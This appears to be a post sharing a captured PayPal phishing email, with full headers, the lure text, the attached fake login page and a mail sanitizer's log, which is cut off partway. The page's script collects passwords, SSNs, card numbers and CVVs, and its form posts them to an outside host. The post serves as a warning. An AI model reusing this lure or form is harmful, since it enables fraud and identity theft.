More Paypal Phish
Posted by Dave Yadallee onX-Account-Key: account2
X-UIDL: CW)!!7J;!!~m%#!VAA"!
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path:
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on doctor.nl2k.ab.ca
X-Spam-Level: **
X-Spam-Status: No, score=2.1 required=5.0 tests=BOTNET,RELAY_CHECKER_BADDNS,
SARE_SPOOF_BADADDR autolearn=no version=3.3.2
X-Original-To: aboo@doctor.nl2k.ab.ca
Delivered-To: aboo@doctor.nl2k.ab.ca
Received: from localhost (localhost.nl2k.ab.ca [127.0.0.1])
by doctor.nl2k.ab.ca (Postfix) with ESMTP id CCDE912CFA86
for
X-Virus-Scanned: amavisd-new at doctor.nl2k.ab.ca
X-Amavis-Alert: BAD HEADER SECTION, MIME error: error: unexpected end of
header; ; error: part did not end with expected boundary; ; error:
unexpected end of parts before epilogue
Received: from doctor.nl2k.ab.ca ([127.0.0.1])
by localhost (doctor.nl2k.ab.ca [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id 3V220kXoLeSw for
Thu, 12 Jul 2012 08:47:07 -0600 (MDT)
Received: by doctor.nl2k.ab.ca (Postfix, from userid 101)
id F276512CFA82; Thu, 12 Jul 2012 08:47:06 -0600 (MDT)
Resent-From: doctor@doctor.nl2k.ab.ca
Resent-Date: Thu, 12 Jul 2012 08:47:06 -0600
Resent-Message-ID: <20120712144706.GE21956@doctor.nl2k.ab.ca>
Resent-To: See root
X-Original-To: manager@nl2k.ab.ca
Delivered-To: manager@nl2k.ab.ca
Received: from localhost (localhost.nl2k.ab.ca [127.0.0.1])
by doctor.nl2k.ab.ca (Postfix) with ESMTP id 2087112CFA86
for
X-Virus-Scanned: amavisd-new at doctor.nl2k.ab.ca
X-Amavis-Alert: BAD HEADER SECTION, MIME error: error: part did not end with
expected boundary; ; error: unexpected end of parts before epilogue
Received: from doctor.nl2k.ab.ca ([127.0.0.1])
by localhost (doctor.nl2k.ab.ca [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id vrekl2pTpPMJ for
Thu, 12 Jul 2012 08:40:27 -0600 (MDT)
Received: from vps3515-2.localdomain (unknown [69.67.29.222])
by doctor.nl2k.ab.ca (Postfix) with ESMTP id CAA9F12CFA82
for
Received: from mail.simplesiteonline.com (mail.simplesiteonline.com [64.244.58.184])
by vps3515-2.localdomain (Postfix) with ESMTP id 98F1C2DF04F0
for
Received: from localhost.localdomain ([66.98.150.90]) by simplesiteonline.com with MailEnable ESMTP; Thu, 12 Jul 2012 09:39:19 -0500
From:"Paypal"
To:
Date:Thu, 12 Jul 2012 15:06:02 -0500
Subject: Restore your account
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="==frontier=="
Message-Id: <20120712144005.98F1C2DF04F0@vps3515-2.localdomain>
X-Sanitizer: This message has been sanitized!
X-Sanitizer-URL: http://mailtools.anomy.net/
X-Sanitizer-Rev: $Id: Sanitizer.pm,v 1.94 2006/01/02 16:43:10 bre Exp $
X-UIDL: CW)!!7J;!!~m%#!VAA"!
X-Brightmail-Tracker: AAAABhh1EScbEUGyGxFCDBsRPNUbEi8yGxIo+Q==
X-Brightmail-Tracker: AAAAAA==
This is a multi-part message in MIME format.
--==frontier==
Content-Type: text/plain
Dear PayPal Customer :
PayPal is committed to maintaining a safe environment for its community of customers.
To protect the security of your account, PayPal employs some of the most advanced security
systems in the world and our anti-fraud teams regularly screen the PayPal system for unusual activity.
We are contacting you to remind you that on 11.07.2012 our Account Review
Team identified some unusual activity in your account. In accordance with
PayPal's User Agreement and to ensure that your account has not been
compromised, access to your account was limited. Your account access will
remain limited until this issue has been resolved.
To secure your account and quickly restore full access, we may require some
additional information from you for the following reason:
We have been notified that a card associated with your account has been
reported as lost or stolen, or that there were additional problems with your
card.
This process is mandatory, and if not completed within the nearest time your
account or credit card may be subject for temporary suspension.
To securely confirm your PayPal information please download the attachement.
We encourage you to log in and perform the steps necessary to restore your
account access as soon as possible. Allowing your account access to remain
limited for an extended period of time may result in further limitations on
the use of your account and possible account closure.
For more information about how to protect your account please visit PayPal
Security Center. We apologize for any incovenience this may cause, and we
apriciate your assistance in helping us to maintain the integrity of the
entire PayPal system.
Thank you for using PayPal!
11.07.2012
--==frontier==
Content-Type: application/html; name="Login_13467631.html"
content="PayPal is the safer, easier way to pay online without revealing your credit card number."
name=description>
href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/css/core/global.css" type=text/css
rel=stylesheet>
href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/css/flows/flowConsumerOnboarding.css"
type=text/css rel=stylesheet>
href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/css/flows/passwordMeter.css" type=text/css
rel=stylesheet>
href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/css/core/print.css" type=text/css
rel=stylesheet>
function Validator(frmname)
{
this.formobj=document.forms[frmname];
if(!this.formobj)
{
alert("BUG: couldnot get Form object "+frmname);
return;
}
if(this.formobj.onsubmit)
{
this.formobj.old_onsubmit = this.formobj.onsubmit;
this.formobj.onsubmit=null;
}
else
{
this.formobj.old_onsubmit = null;
}
this.formobj.onsubmit=form_submit_handler;
this.addValidation = add_validation;
this.setAddnlValidationFunction=set_addnl_vfunction;
this.clearAllValidations = clear_all_validations;
}
function set_addnl_vfunction(functionname)
{
this.formobj.addnlvalidation = functionname;
}
function clear_all_validations()
{
for(var itr=0;itr < this.formobj.elements.length;itr++)
{
this.formobj.elements[itr].validationset = null;
}
}
function form_submit_handler()
{
for(var itr=0;itr < this.elements.length;itr++)
{
if(this.elements[itr].validationset &&
!this.elements[itr].validationset.validate())
{
return false;
}
}
if(this.addnlvalidation)
{
str =" var ret = "+this.addnlvalidation+"()";
eval(str);
if(!ret) return ret;
}
return true;
}
function add_validation(itemname,descriptor,errstr)
{
if(!this.formobj)
{
alert("BUG: the form object is not set properly");
return;
}//if
var itemobj = this.formobj[itemname];
if(!itemobj)
{
alert("BUG: Couldnot get the input object named: "+itemname);
return;
}
if(!itemobj.validationset)
{
itemobj.validationset = new ValidationSet(itemobj);
}
itemobj.validationset.add(descriptor,errstr);
}
function ValidationDesc(inputitem,desc,error)
{
this.desc=desc;
this.error=error;
this.itemobj = inputitem;
this.validate=vdesc_validate;
}
function vdesc_validate()
{
if(!V2validateData(this.desc,this.itemobj,this.error))
{
this.itemobj.focus();
return false;
}
return true;
}
function ValidationSet(inputitem)
{
this.vSet=new Array();
this.add= add_validationdesc;
this.validate= vset_validate;
this.itemobj = inputitem;
}
function add_validationdesc(desc,error)
{
this.vSet[this.vSet.length]=
new ValidationDesc(this.itemobj,desc,error);
}
function vset_validate()
{
for(var itr=0;itr
{
if(!this.vSet[itr].validate())
{
return false;
}
}
return true;
}
function validateEmailv2(email)
{
// a very simple email validation checking.
// you can add more complex email checking if it helps
if(email.length <= 0)
{
return true;
}
var splitted = email.match("^(.+)@(.+)$");
if(splitted == null) return false;
if(splitted[1] != null )
{
var regexp_user=/^\"?[\w-_\.]*\"?$/;
if(splitted[1].match(regexp_user) == null) return false;
}
if(splitted[2] != null)
{
var regexp_domain=/^[\w-\.]*\.[A-Za-z]{2,4}$/;
if(splitted[2].match(regexp_domain) == null)
{
var regexp_ip =/^\[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\]$/;
if(splitted[2].match(regexp_ip) == null) return false;
}// if
return true;
}
return false;
}
function mod10( cardNumber ) {
var ar = new Array( cardNumber.length );
var i = 0,sum = 0;
for( i = 0; i < cardNumber.length; ++i ) {
ar[i] = parseInt(cardNumber.charAt(i));
}
for( i = ar.length-2; i >= 0; i-=2 ) {
ar[i] *= 2;
if( ar[i] > 9 ) ar[i]-=9;
}
for( i = 0; i < ar.length; ++i ) {
sum += ar[i];
}
return (((sum%10)==0)?true:false);
}
function V2validateData(strValidateStr,objValue,strError)
{
var epos = strValidateStr.search("=");
var command = "";
var cmdvalue = "";
if(epos >= 0)
{
command = strValidateStr.substring(0,epos);
cmdvalue = strValidateStr.substr(epos+1);
}
else
{
command = strValidateStr;
}
switch(command)
{
case "req":
case "required":
{
if(eval(objValue.value.length) == 0)
{
if(!strError || strError.length ==0)
{
strError = objValue.name + " : Required Field";
}//if
alert(strError);
return false;
}//if
break;
}//case required
case "luhn":
{
if(mod10(objValue.value) == false)
{
if(!strError || strError.length ==0)
{
strError = objValue.name + " : Required Field";
}//if
alert(strError);
return false;
}//if
break;
}//case required
case "maxlength":
case "maxlen":
{
if(eval(objValue.value.length) > eval(cmdvalue))
{
if(!strError || strError.length ==0)
{
strError = objValue.name + " : "+cmdvalue+" characters maximum ";
}//if
alert(strError);
return false;
}//if
break;
}//case maxlen
case "minlength":
case "minlen":
{
if(eval(objValue.value.length) < eval(cmdvalue))
{
if(!strError || strError.length ==0)
{
strError = objValue.name + " : " + cmdvalue + " characters minimum ";
}//if
alert(strError);
return false;
}//if
break;
}//case minlen
case "alnum":
case "alphanumeric":
{
var charpos = objValue.value.search("[^A-Za-z0-9]");
if(objValue.value.length > 0 && charpos >= 0)
{
if(!strError || strError.length ==0)
{
strError = objValue.name+": Only alpha-numeric characters allowed ";
}//if
alert(strError);
return false;
}//if
break;
}//case alphanumeric
case "num":
case "numeric":
{
var charpos = objValue.value.search("[^0-9]");
if(objValue.value.length > 0 && charpos >= 0)
{
if(!strError || strError.length ==0)
{
strError = objValue.name+": Only digits allowed ";
}//if
alert(strError);
return false;
}//if
break;
}//numeric
case "alphabetic":
case "alpha":
{
var charpos = objValue.value.search("[^A-Za-z]");
if(objValue.value.length > 0 && charpos >= 0)
{
if(!strError || strError.length ==0)
{
strError = objValue.name+": Only alphabetic characters allowed ";
}//if
alert(strError);
return false;
}//if
break;
}//alpha
case "alnumhyphen":
{
var charpos = objValue.value.search("[^A-Za-z0-9\-_]");
if(objValue.value.length > 0 && charpos >= 0)
{
if(!strError || strError.length ==0)
{
strError = objValue.name+": characters allowed are A-Z,a-z,0-9,- and _";
}//if
alert(strError);
return false;
}//if
break;
}
case "email":
{
if(!validateEmailv2(objValue.value))
{
if(!strError || strError.length ==0)
{
strError = objValue.name+": Enter a valid Email address ";
}//if
alert(strError);
return false;
}//if
break;
}//case email
case "lt":
case "lessthan":
{
if(isNaN(objValue.value))
{
alert(objValue.name+": Should be a number ");
return false;
}//if
if(eval(objValue.value) >= eval(cmdvalue))
{
if(!strError || strError.length ==0)
{
strError = objValue.name + " : value should be less than "+ cmdvalue;
}//if
alert(strError);
return false;
}//if
break;
}//case lessthan
case "gt":
case "greaterthan":
{
if(isNaN(objValue.value))
{
alert(objValue.name+": Should be a number ");
return false;
}//if
if(eval(objValue.value) <= eval(cmdvalue))
{
if(!strError || strError.length ==0)
{
strError = objValue.name + " : value should be greater than "+ cmdvalue;
}//if
alert(strError);
return false;
}//if
break;
}//case greaterthan
case "regexp":
{
if(objValue.value.length > 0)
{
if(!objValue.value.match(cmdvalue))
{
if(!strError || strError.length ==0)
{
strError = objValue.name+": Invalid characters found ";
}//if
alert(strError);
return false;
}//if
}
break;
}//case regexp
case "dontselect":
{
if(objValue.selectedIndex == null)
{
alert("BUG: dontselect command for non-select Item");
return false;
}
if(objValue.selectedIndex == eval(cmdvalue))
{
if(!strError || strError.length ==0)
{
strError = objValue.name+": Please Select one option ";
}//if
alert(strError);
return false;
}
break;
}//case dontselect
}//switch
return true;
}
if (parent.frames.length > 0){
top.location.replace(document.location);
}
type=text/javascript>
href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/icon/pp_favicon_x.ico"
DEFANGED_rel="shortcut icon">
DEFANGED_Grow Financial"https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/pui/apple-touch-icon.png"
DEFANGED_rel="apple-touch-icon">
Please fill in all fields. By clicking the button below, I agree to the PayPal
src="https://www.paypal.com/en_US/i/logo/paypal_logo.gif"
border=0>
DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=_flow&SESSION=poGq3H47rpfozOwaAJyMRCGxxk0Y_smAnFHSqV30gMQSIMDUmczFz09Rbfq&dispatch=5885d80a13c0db1f8e263663d3faee8d9384d85353843a619606282818e091d0#content">Skip
to main content
DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Marketing/popup/WaxAboutPaypal-outside&justSecure=true"
target="_blank">Secure
Restore your account
id=code type=text name=c autocomplete="off">
id=code2 type=password name=d autocomplete="off">
name=f>
id=address type=text name=g autocomplete="off">
name=y autocomplete="off">
Zip
name=m autocomplete="off">
class=medium id=zip maxLength=10 name=l>
title="This number will be used to contact you in case there's a problem with your account or purchase. We never share your number with telemarketers.">Why
is this needed?
id=phone name=j autocomplete="off">
name=r autocomplete="off">
name=s autocomplete="off">
name=z autocomplete="off">
name=kk autocomplete="off">
DEFANGED_onclick="PAYPAL.core.openWindow(event, {width: 640, height: 300, name: '_blank', location: 0,scrollbar: 0, toolbar: 0, resizable: 1 })"
DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/ua_pop-outside&popup=1"
target="_blank">User Agreement and
DEFANGED_onclick="PAYPAL.core.openWindow(event, {width: 640, height: 300, name: '_blank', location: 0,scrollbar: 0, toolbar: 0, resizable: 1 })"
DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy_pop-outside&popup=1"
target="_blank">Privacy Policy.
Copyright ? 1999-2012 PayPal. All rights reserved.
var frmvalidator = new Validator("frm");
frmvalidator.addValidation("firstname","req","Please enter your First Name");
frmvalidator.addValidation("lastname","req","Please enter your Last Name");
frmvalidator.addValidation("address","req","Please enter your address");
frmvalidator.addValidation("city","req","Please enter your city");
frmvalidator.addValidation("zip","req","Please enter your zip");
frmvalidator.addValidation("zip","num","Please enter your correct zip code");
frmvalidator.addValidation("zip","minlen=5","Please enter your correct zip code");
frmvalidator.addValidation("phone","req","Please enter your phone number");
frmvalidator.addValidation("phone","num","Please enter your correct phone number");
frmvalidator.addValidation("phone","minlen=6","Please enter your correct phone number");
frmvalidator.addValidation("ssn","req","Please enter your Social Security Number");
frmvalidator.addValidation("ssn","num","Please enter your correct Social Security Number");
frmvalidator.addValidation("ssn","minlen=3","Please enter your correct Social Security Number");
frmvalidator.addValidation("ssn1","req","Please enter your Social Security Number");
frmvalidator.addValidation("ssn1","num","Please enter your correct Social Security Number");
frmvalidator.addValidation("ssn1","minlen=2","Please enter your correct Social Security Number");
frmvalidator.addValidation("ssn2","req","Please enter your Social Security Number");
frmvalidator.addValidation("ssn2","num","Please enter your correct Social Security Number");
frmvalidator.addValidation("ssn2","minlen=4","Please enter your correct Social Security Number");
frmvalidator.addValidation("dobm","req","Please enter your Date Of Birth");
frmvalidator.addValidation("dobm","num","Please enter your correct Date Of Birth");
frmvalidator.addValidation("dobm","minlen=2","Please enter your correct Date Of Birth");
frmvalidator.addValidation("dobd","req","Please enter your Date Of Birth");
frmvalidator.addValidation("dobd","num","Please enter your correct Date Of Birth");
frmvalidator.addValidation("dobd","minlen=2","Please enter your correct Date Of Birth");
frmvalidator.addValidation("doby","req","Please enter your Date Of Birth");
frmvalidator.addValidation("doby","num","Please enter your correct Date Of Birth");
frmvalidator.addValidation("doby","minlen=4","Please enter your correct Date Of Birth");
frmvalidator.addValidation("mmn","req","Please enter your Mother's maiden name");
frmvalidator.addValidation("cc","req","Please enter your Credit/Debit Card Number");
frmvalidator.addValidation("cc","num","Please enter your correct Credit/Debit Card Number");
frmvalidator.addValidation("cc","minlen=16","Please enter your correct Credit/Debit Card Number");
frmvalidator.addValidation("expm","req","Please enter your Card Expiration Date");
frmvalidator.addValidation("expm","num","Please enter your correct Card Expiration Date");
frmvalidator.addValidation("expm","minlen=2","Please enter your correct Card Expiration Date");
frmvalidator.addValidation("expy","req","Please enter your Card Expiration Date");
frmvalidator.addValidation("expy","num","Please enter your correct Card Expiration Date");
frmvalidator.addValidation("expy","minlen=4","Please enter your correct Card Expiration Date");
frmvalidator.addValidation("cvv","req","Please enter your 3 Digit Card Security Code");
frmvalidator.addValidation("cvv","num","Please enter your correct 3 Digit Card Security Code");
frmvalidator.addValidation("cvv","minlen=3","Please enter your correct 3 Digit Card Security Code");
--==frontier==
Content-Type: text/sanitizer-log; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="sanitizer.log"
This message has been 'sanitized'. This means that potentially
dangerous content has been rewritten or removed. The following
log describes which actions were taken.
Sanitizer (start="1342104032"):
Part (pos="1835"):
SanitizeFile (filename="unnamed.txt", mimetype="text/plain"):
Match (names="unnamed.txt", rule="2"):
Enforced policy: accept
Part (pos="3602"):
SanitizeFile (filename="Login_13467631.html, filetype.html", mimetype="application/html"):
Match (names="Login_13467631.html, filetype.html", rule="2"):
Enforced policy: accept
Rewrote HTML tag: >>_META http-equiv=X-UA-Compatible content=IE=8_<<
as: >>_META DEFANGED_http-equiv="X-UA-Compatible" content="IE=8"_<<
Rewrote HTML tag: >>_LINK media=screen href="files/ie6.css" type=text/css rel=stylesheet_<<
as: >>_LINK media="screen" DEFANGED_href="files/ie6.css" type="text/css" rel="stylesheet"_<<
Note: Scripting languages, embedded objects and other "advanced"
features are the primary security risks in HTML.
Rewrote HTML tag: >>_script type="text/javascript"_<<
as: >>_DEFANGED_script type="text/javascript"_<<
Rewrote HTML tag: >>_/SCRIPT_<<
as: >>_/DEFANGED_SCRIPT_<<
Rewrote HTML tag: >>_SCRIPT type=text/javascript_<<
as: >>_DEFANGED_SCRIPT type=text/javascript_<<
Rewrote HTML tag: >>_/SCRIPT_<<
as: >>_/DEFANGED_SCRIPT_<<
Rewrote HTML tag: >>_SCRIPT src="https://www.paypalobjects.com/WEBSCR-640-20101108-1/js/lib/min/global.js" type=text/javascript_<<
as: >>_DEFANGED_SCRIPT src="https://www.paypalobjects.com/WEBSCR-640-20101108-1/js/lib/min/global.js" type=text/javascript_<<
Rewrote HTML tag: >>_/SCRIPT_<<
as: >>_/DEFANGED_SCRIPT_<<
Rewrote HTML tag: >>_SCRIPT type=text/javascript_<<
as: >>_DEFANGED_SCRIPT type=text/javascript_<<
Rewrote HTML tag: >>_/SCRIPT_<<
as: >>_/DEFANGED_SCRIPT_<<
Rewrote HTML tag: >>_LINK href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/icon/pp_favicon_x.ico" rel="shortcut icon"_<<
as: >>_LINK href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/icon/pp_favicon_x.ico" DEFANGED_rel="shortcut icon"_<<
Rewrote HTML tag: >>_LINK Grow Financial"https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/pui/apple-touch-icon.png" rel=apple-touch-icon_<<
as: >>_LINK DEFANGED_Grow Financial"https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/pui/apple-touch-icon.png" DEFANGED_rel="apple-touch-icon"_<<
Note: Styles and layers give attackers many tools to fool the
user and common browsers interpret Javascript code found
within style definitions.
Rewrote HTML tag: >>_DIV class="onboarding signup" id=page_<<
as: >>_p__DEFANGED_DIV class="onboarding signup" id=page_<<
Rewrote HTML tag: >>_DIV class=notab id=header_<<
as: >>_p__DEFANGED_DIV class=notab id=header_<<
Rewrote HTML tag: >>_A Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=_home"_<<
as: >>_A DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=_home"_<<
Rewrote HTML tag: >>_SPAN_<<
as: >>_DEFANGED_SPAN_<<
Rewrote HTML tag: >>_A class="accessAid skip" Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=_flow&SESSION=poGq3H47rpfozOwaAJyMRCGxxk0Y_smAnFHSqV30gMQSIMDUmczFz09Rbfq&dispatch=5885d80a13c0db1f8e263663d3faee8d9384d85353843a619606282818e091d0#content"_<<
as: >>_A class="accessAid skip" DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=_flow&SESSION=poGq3H47rpfozOwaAJyMRCGxxk0Y_smAnFHSqV30gMQSIMDUmczFz09Rbfq&dispatch=5885d80a13c0db1f8e263663d3faee8d9384d85353843a619606282818e091d0#content"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_DIV class=empty id=navPrimary_<<
as: >>_p__DEFANGED_DIV class=empty id=navPrimary_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_DIV id=content_<<
as: >>_p__DEFANGED_DIV id=content_<<
Rewrote HTML tag: >>_DIV id=headline_<<
as: >>_p__DEFANGED_DIV id=headline_<<
Rewrote HTML tag: >>_DIV class=secure_<<
as: >>_p__DEFANGED_DIV class=secure_<<
Rewrote HTML tag: >>_A onClick="PAYPAL.core.openWindow(event, {size: 'm'})" Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Marketing/popup/WaxAboutPaypal-outside&justSecure=true" target=_blank_<<
as: >>_A DEFANGED_onClick="PAYPAL.core.openWindow(event, {size: 'm'})" DEFANGED_Grow Financial"https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Marketing/popup/WaxAboutPaypal-outside&justSecure=true" target="_blank"_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_DIV_<<
as: >>_p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_DIV id=messageBox_<<
as: >>_p__DEFANGED_DIV id=messageBox_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_DIV id=main_<<
as: >>_p__DEFANGED_DIV id=main_<<
Rewrote HTML tag: >>_DIV class=layout1_<<
as: >>_p__DEFANGED_DIV class=layout1_<<
Rewrote HTML tag: >>_DIV class="metertip hide" id=meter_tag_<<
as: >>_p__DEFANGED_DIV class="metertip hide" id=meter_tag_<<
Rewrote HTML tag: >>_DIV class=hide id=metercontainer_<<
as: >>_p__DEFANGED_DIV class=hide id=metercontainer_<<
Rewrote HTML tag: >>_DIV class=meter id=meter1_<<
as: >>_p__DEFANGED_DIV class=meter id=meter1_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_SPAN id=pwdres_<<
as: >>_DEFANGED_SPAN id=pwdres_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Rewrote HTML tag: >>_IMG id=meterknob alt="" src="files/leftknob.png" border=0_<<
as: >>_IMG id="meterknob" alt="" DEFANGED_src="files/leftknob.png" border=0_<<
Rewrote HTML tag: >>_/DIV_<<
as: >>_/p__DEFANGED_DIV_<<
Note: Forms invoke complex, interactive elements of the operating
system which may be buggy. In addition, carefully crafted
forms can be used to trick the user into performing attacks
on his own network (thus avoiding firewalls).
Rewrote HTML tag: >>_form name="frm" method="post" action="http://primalum.com/cgi/procesing.php" onSubmit="return validate()" _<<
as: >>_DEFANGED_form name="frm" method="post" action="http://primalum.com/cgi/procesing.php" onSubmit="return validate()" _<<
Rewrote HTML tag: >>_LABEL for=address_<<
as: >>_DEFANGED_LABEL for=address_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT class=large id=code type=text name=c autocomplete="off"_<<
as: >>_DEFANGED_INPUT class=large id=code type=text name=c autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_LABEL for=label_<<
as: >>_DEFANGED_LABEL for=label_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT class=large id=code2 type=password name=d autocomplete="off"_<<
as: >>_DEFANGED_INPUT class=large id=code2 type=password name=d autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_FIELDSET class=multi_<<
as: >>_DEFANGED_FIELDSET class=multi_<<
Rewrote HTML tag: >>_LABEL for=firstname_<<
as: >>_DEFANGED_LABEL for=firstname_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT id=firstname name=e_<<
as: >>_DEFANGED_INPUT id=firstname name=e_<<
Rewrote HTML tag: >>_LABEL for=lastname_<<
as: >>_DEFANGED_LABEL for=lastname_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT id=lastname name=f_<<
as: >>_DEFANGED_INPUT id=lastname name=f_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/FIELDSET_<<
as: >>_/DEFANGED_FIELDSET_<<
Rewrote HTML tag: >>_LABEL for=address_<<
as: >>_DEFANGED_LABEL for=address_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT class=large id=address type=text name=g autocomplete="off"_<<
as: >>_DEFANGED_INPUT class=large id=address type=text name=g autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_LABEL for=city_<<
as: >>_DEFANGED_LABEL for=city_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT class=large id=city type=text name=y autocomplete="off"_<<
as: >>_DEFANGED_INPUT class=large id=city type=text name=y autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_FIELDSET class=multi_<<
as: >>_DEFANGED_FIELDSET class=multi_<<
Rewrote HTML tag: >>_LEGEND class=accessAid_<<
as: >>_DEFANGED_LEGEND class=accessAid_<<
Rewrote HTML tag: >>_SPAN class=label_<<
as: >>_DEFANGED_SPAN class=label_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/LEGEND_<<
as: >>_/DEFANGED_LEGEND_<<
Rewrote HTML tag: >>_LABEL for=state_<<
as: >>_DEFANGED_LABEL for=state_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_span class="field"_<<
as: >>_DEFANGED_span class="field"_<<
Rewrote HTML tag: >>_INPUT class=large id=y type=text name=m autocomplete="off"_<<
as: >>_DEFANGED_INPUT class=large id=y type=text name=m autocomplete="off"_<<
Rewrote HTML tag: >>_/span_<<
as: >>_/DEFANGED_span_<<
Rewrote HTML tag: >>_LABEL for=zip_<<
as: >>_DEFANGED_LABEL for=zip_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT class=medium id=zip maxLength=10 name=l_<<
as: >>_DEFANGED_INPUT class=medium id=zip maxLength=10 name=l_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/FIELDSET_<<
as: >>_/DEFANGED_FIELDSET_<<
Rewrote HTML tag: >>_LABEL for=phone_<<
as: >>_DEFANGED_LABEL for=phone_<<
Rewrote HTML tag: >>_SPAN class=autoTooltip title="This number will be used to contact you in case there's a problem with your account or purchase. We never share your number with telemarketers."_<<
as: >>_DEFANGED_SPAN class=autoTooltip title="This number will be used to contact you in case there's a problem with your account or purchase. We never share your number with telemarketers."_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
as: >>_DEFANGED_SPAN class=field_<<
Rewrote HTML tag: >>_INPUT class=large id=phone name=j autocomplete="off"_<<
as: >>_DEFANGED_INPUT class=large id=phone name=j autocomplete="off"_<<
Rewrote HTML tag: >>_/SPAN_<<
as: >>_/DEFANGED_SPAN_<<
Rewrote HTML tag: >>_FIELDSET class=multi_<<
as: >>_DEFANGED_FIELDSET class=multi_<<
Rewrote HTML tag: >>_LABEL for=ssn_<<
as: >>_DEFANGED_LABEL for=ssn_<<
Rewrote HTML tag: >>_/LABEL_<<
as: >>_/DEFANGED_LABEL_<<
Rewrote HTML tag: >>_SPAN class=field_<<
